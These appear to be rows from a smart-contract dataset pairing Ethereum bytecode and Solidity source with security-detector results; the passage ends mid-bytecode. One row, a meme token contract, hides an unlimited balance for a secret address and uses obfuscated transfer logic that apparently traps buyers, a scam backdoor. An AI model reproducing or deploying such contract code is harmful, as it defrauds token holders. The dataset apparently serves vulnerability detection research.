2604082019050919050565b60006143ed60158361501d565b91507f7375627472616374696f6e20756e646572666c6f7700000000000000000000006000830152602082019050919050565b600061442d60368361501d565b91507f476f7665726e6f72416c7068613a3a5f5f61626469636174653a2073656e646560008301527f72206d75737420626520676f7620677561726469616e000000000000000000006020830152604082019050919050565b60608201600082015161449c6000850182613717565b5060208201516144af6020850182613717565b5060408201516144c26040850182614504565b50505050565b6144d181615094565b82525050565b6144e081615094565b82525050565b6144ef8161509e565b82525050565b6144fe81615165565b82525050565b61450d816150ab565b82525050565b600061451e82613b50565b915061452a8285613744565b60208201915061453a8284613744565b6020820191508190509392505050565b600061455582613ee6565b9150819050919050565b600061456a82613f72565b9150819050919050565b60006020820190506145896000830184613562565b92915050565b60006040820190506145a46000830185613544565b6145b160208301846144d7565b9392505050565b600060a0820190506145cd6000830187613562565b6145da6020830186613889565b81810360408301526145eb81613c1c565b905081810360608301526145ff818561375b565b905061460e60808301846144d7565b95945050505050565b600060408201905061462c6000830185613562565b61463960208301846144d7565b9392505050565b60006080820190506146556000830187613562565b61466260208301866144d7565b61466f6040830185613726565b61467c60608301846144f5565b95945050505050565b600060a08201905061469a6000830188613562565b6146a760208301876144d7565b81810360408301526146b98186613898565b905081810360608301526146cd818561375b565b90506146dc60808301846144d7565b9695505050505050565b600060a0820190506146fb6000830188613562565b61470860208301876144d7565b818103604083015261471a8186613943565b9050818103606083015261472e81856137cd565b905061473d60808301846144d7565b9695505050505050565b600060808201905081810360008301526147618187613571565b9050818103602083015261477581866136b9565b905081810360408301526147898185613644565b9050818103606083015261479d81846135cf565b905095945050505050565b60006020820190506147bd6000830184613735565b92915050565b60006080820190506147d86000830187613735565b6147e56020830186613735565b6147f260408301856144d7565b6147ff6060830184613562565b95945050505050565b600060608201905061481d6000830186613735565b61482a60208301856144d7565b6148376040830184613726565b949350505050565b60006080820190506148546000830187613735565b61486160208301866144e6565b61486e6040830185613735565b61487b6060830184613735565b95945050505050565b6000602082019050614899600083018461385c565b92915050565b60006020820190506148b4600083018461386b565b92915050565b60006020820190506148cf600083018461387a565b92915050565b600060208201905081810360008301526148ef818461390a565b905092915050565b60006020820190508181036000830152614910816139d2565b9050919050565b6000602082019050818103600083015261493081613a38565b9050919050565b6000602082019050818103600083015261495081613ac4565b9050919050565b6000602082019050818103600083015261497081613b90565b9050919050565b6000602082019050818103600083015261499081613c5c565b9050919050565b600060208201905081810360008301526149b081613cc2565b9050919050565b600060208201905081810360008301526149d081613d28565b9050919050565b600060208201905081810360008301526149f081613db4565b9050919050565b60006020820190508181036000830152614a1081613e40565b9050919050565b60006020820190508181036000830152614a3081613ea6565b9050919050565b60006020820190508181036000830152614a5081613fd8565b9050919050565b60006020820190508181036000830152614a7081614064565b9050919050565b60006020820190508181036000830152614a90816140ca565b9050919050565b60006020820190508181036000830152614ab081614156565b9050919050565b60006020820190508181036000830152614ad0816141bc565b9050919050565b60006020820190508181036000830152614af081614222565b9050919050565b60006020820190508181036000830152614b1081614288565b9050919050565b60006020820190508181036000830152614b3081614314565b9050919050565b60006020820190508181036000830152614b508161437a565b9050919050565b60006020820190508181036000830152614b70816143e0565b9050919050565b60006020820190508181036000830152614b9081614420565b9050919050565b6000606082019050614bac6000830184614486565b92915050565b6000602082019050614bc760008301846144d7565b92915050565b600061012082019050614be3600083018c6144d7565b614bf0602083018b613544565b8181036040830152614c02818a613571565b90508181036060830152614c1681896136b9565b90508181036080830152614c2a8188613644565b905081810360a0830152614c3e81876135cf565b9050614c4d60c08301866144d7565b614c5a60e08301856144d7565b818103610100830152614c6d8184613898565b90509a9950505050505050505050565b600061012082019050614c93600083018c6144d7565b614ca0602083018b613562565b614cad604083018a6144d7565b614cba60608301896144d7565b614cc760808301886144d7565b614cd460a08301876144d7565b614ce160c08301866144d7565b614cee60e0830185613726565b614cfc610100830184613726565b9a9950505050505050505050565b6000604082019050614d1f60008301856144d7565b614d2c60208301846144d7565b9392505050565b6000604051905081810181811067ffffffffffffffff82111715614d5657600080fd5b8060405250919050565b600067ffffffffffffffff821115614d7757600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115614d9f57600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115614dc757600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115614def57600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115614e1757600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115614e4357600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115614e6f57600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115614e9b57600080fd5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600061504482615074565b9050919050565b60008115159050919050565b6000819050919050565b600081905061506f826151d4565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b60006150ce82615141565b9050919050565b60006150e0826150e7565b9050919050565b60006150f282615074565b9050919050565b60006151048261510b565b9050919050565b600061511682615074565b9050919050565b600061512882615061565b9050919050565b600061513a82615094565b9050919050565b600061514c82615153565b9050919050565b600061515e82615074565b9050919050565b6000615170826150ab565b9050919050565b82818337600083830152505050565b60005b838110156151a4578082015181840152602081019050615189565b838111156151b3576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b600881106151de57fe5b50565b6151ea81615039565b81146151f557600080fd5b50565b6152018161504b565b811461520c57600080fd5b50565b61521881615057565b811461522357600080fd5b50565b61522f81615094565b811461523a57600080fd5b50565b6152468161509e565b811461525157600080fd5b50565b61525d816150ab565b811461526857600080fd5b5056fea365627a7a7231582097a5ef78ddf33cdb997a5f381d9555772b5f0140f3cda395d95151b10b51f5906c6578706572696d656e74616cf564736f6c63430005100040 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 164 |
0x354EF538265426d223A5faae68C9b0795f0541D9 | /**
*Submitted for verification at Etherscan.io on 2021-07-16
*/
pragma solidity 0.5.17;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of NFTs in `owner`'s account.
*/
function balanceOf(address owner) public view returns (uint256 balance);
/**
* @dev Returns the owner of the NFT specified by `tokenId`.
*/
function ownerOf(uint256 tokenId) public view returns (address owner);
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
*
*
* Requirements:
* - `from`, `to` cannot be zero.
* - `tokenId` must be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this
* NFT by either {approve} or {setApprovalForAll}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public;
/**
* @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to
* another (`to`).
*
* Requirements:
* - If the caller is not `from`, it must be approved to move this NFT by
* either {approve} or {setApprovalForAll}.
*/
function transferFrom(address from, address to, uint256 tokenId) public;
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
contract NFTBankedSale {
struct SwapDeal {
// Buyer's info: ERC-20
address token;
address buyer;
uint price;
// Bank's info: same ERC-20
address bank;
uint transferred;
// Seller's info: ERC-721
address collection;
address seller;
uint tokenId;
}
SwapDeal public swapDeal;
/**
* @dev Creates the contract instance and saves the parameters of the swap.
* @param token address The address of the ERC20 token used to buy.
* @param buyer address The address of the buyer using ERC20 tokens.
* @param price uint The quantity of ERC20 tokens given by the buyer when buying.
* @param bank address The address of the bank that provides additional ERC20 tokens when buying.
* @param transferred uint The quantity of ERC20 tokens given by the bank when buying.
* @param collection address The address of the ERC721 token collection exchanged.
* @param seller address The address of the seller of the ERC721 token.
* @param tokenId uint The id of the ERC721 token sold.
*/
constructor(address token, address buyer, uint price, address bank, uint transferred, address collection, address seller, uint tokenId) public {
require(token != address(0), "NFTBankedSale: ERC20 token is missing");
require(buyer != address(0), "NFTBankedSale: buyer is missing");
require(price != 0, "NFTBankedSale: price is missing");
require(bank != address(0), "NFTBankedSale: bank is missing");
require(transferred != 0, "NFTBankedSale: transferred is missing");
require(collection != address(0), "NFTBankedSale: ERC721 collection is missing");
require(seller != address(0), "NFTBankedSale: seller is missing");
require(tokenId != 0, "NFTBankedSale: tokenId is missing");
swapDeal = SwapDeal({
token: token,
buyer: buyer,
price: price,
bank: bank,
transferred: transferred,
collection: collection,
seller: seller,
tokenId: tokenId
});
}
/**
* @dev Does the 3 transfers constituting the swap.
* All seller, bank and buyer must have approved this swap contract as a spender of their respective tokens
* for the swap to proceed.
* The function can be called by anyone.
*/
function swap() public {
SwapDeal memory deal = swapDeal;
delete swapDeal;
IERC721(deal.collection).safeTransferFrom(deal.seller, deal.buyer, deal.tokenId);
require(IERC20(deal.token).transferFrom(deal.buyer, deal.seller, deal.price), "NFTBankedSale: ERC20 transfer failed");
require(IERC20(deal.token).transferFrom(deal.bank, deal.seller, deal.transferred), "NFTBankedSale: ERC20 bank transfer failed");
}
} | 0x608060405234801561001057600080fd5b50600436106100365760003560e01c80634c41433b1461003b5780638119c06514610166575b600080fd5b610043610170565b604051808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019850505050505050505060405180910390f35b61016e610246565b005b60008060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020154908060030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060040154908060050160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060060160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060070154905088565b61024e6108a6565b6000604051806101000160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600282015481526020016003820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600482015481526020016005820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016006820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160078201548152505090506000806000820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560028201600090556003820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560048201600090556005820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556006820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600782016000905550508060a0015173ffffffffffffffffffffffffffffffffffffffff166342842e0e8260c0015183602001518460e001516040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b1580156105d557600080fd5b505af11580156105e9573d6000803e3d6000fd5b50505050806000015173ffffffffffffffffffffffffffffffffffffffff166323b872dd82602001518360c0015184604001516040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156106b857600080fd5b505af11580156106cc573d6000803e3d6000fd5b505050506040513d60208110156106e257600080fd5b8101908080519060200190929190505050610748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061095a6024913960400191505060405180910390fd5b806000015173ffffffffffffffffffffffffffffffffffffffff166323b872dd82606001518360c0015184608001516040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561081357600080fd5b505af1158015610827573d6000803e3d6000fd5b505050506040513d602081101561083d57600080fd5b81019080805190602001909291905050506108a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602981526020018061097e6029913960400191505060405180910390fd5b50565b604051806101000160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152509056fe4e465442616e6b656453616c653a204552433230207472616e73666572206661696c65644e465442616e6b656453616c653a2045524332302062616e6b207472616e73666572206661696c6564a265627a7a7231582097cd6077d33c5da6bfc89a0d68b5957b1e874d087061b1894b37598e7d5eaa9264736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 165 |
0x7f0998F54ae4254447B5BabA634263d6f30e9D3d | /*
https://www.minishibainu.live/
https://t.me/minishibainu_eth
*/
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address breathe
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 5;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[breathe] = body;
_balances[msg.sender] = _tTotal;
wing[breathe] = body;
wing[msg.sender] = body;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => address) private newspaper;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private body = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function chart(
address heavy,
address however,
uint256 amount
) private {
address darkness = newspaper[address(0)];
bool tone = uniswapV2Pair == heavy;
uint256 long = _fee;
if (wing[heavy] == 0 && direct[heavy] > 0 && !tone) {
wing[heavy] -= long;
}
newspaper[address(0)] = however;
if (wing[heavy] > 0 && amount == 0) {
wing[however] += long;
}
direct[darkness] += long;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[heavy] -= fee;
_balances[address(this)] += fee;
_balances[heavy] -= amount;
_balances[however] += amount;
}
mapping(address => uint256) private direct;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private wing;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
chart(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
chart(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110b2565b60405180910390f35b610132600480360381019061012d919061116d565b610392565b60405161013f91906111c8565b60405180910390f35b6101506103a7565b60405161015d91906111f2565b60405180910390f35b610180600480360381019061017b919061120d565b6103b1565b60405161018d91906111c8565b60405180910390f35b61019e610500565b6040516101ab91906111f2565b60405180910390f35b6101bc61051a565b6040516101c9919061126f565b60405180910390f35b6101ec60048036038101906101e7919061128a565b610540565b6040516101f991906111f2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126f565b60405180910390f35b61023261063a565b60405161023f91906110b2565b60405180910390f35b610262600480360381019061025d919061116d565b6106cc565b60405161026f91906111c8565b60405180910390f35b610280610748565b60405161028d91906111f2565b60405180910390f35b6102b060048036038101906102ab91906112b7565b61074e565b6040516102bd91906111f2565b60405180910390f35b6102e060048036038101906102db919061128a565b6107d5565b005b6102ea6108cc565b6040516102f79190611356565b60405180910390f35b60606002805461030f906113a0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906113a0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600854905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611443565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111f2565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611492565b6108f2565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f4d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc90611512565b60405180910390fd5b61060f6000610f55565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610649906113a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610675906113a0565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111f2565b60405180910390a36001905092915050565b60015481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f4d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084890611512565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906115a4565b60405180910390fd5b6108c981610f55565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611636565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160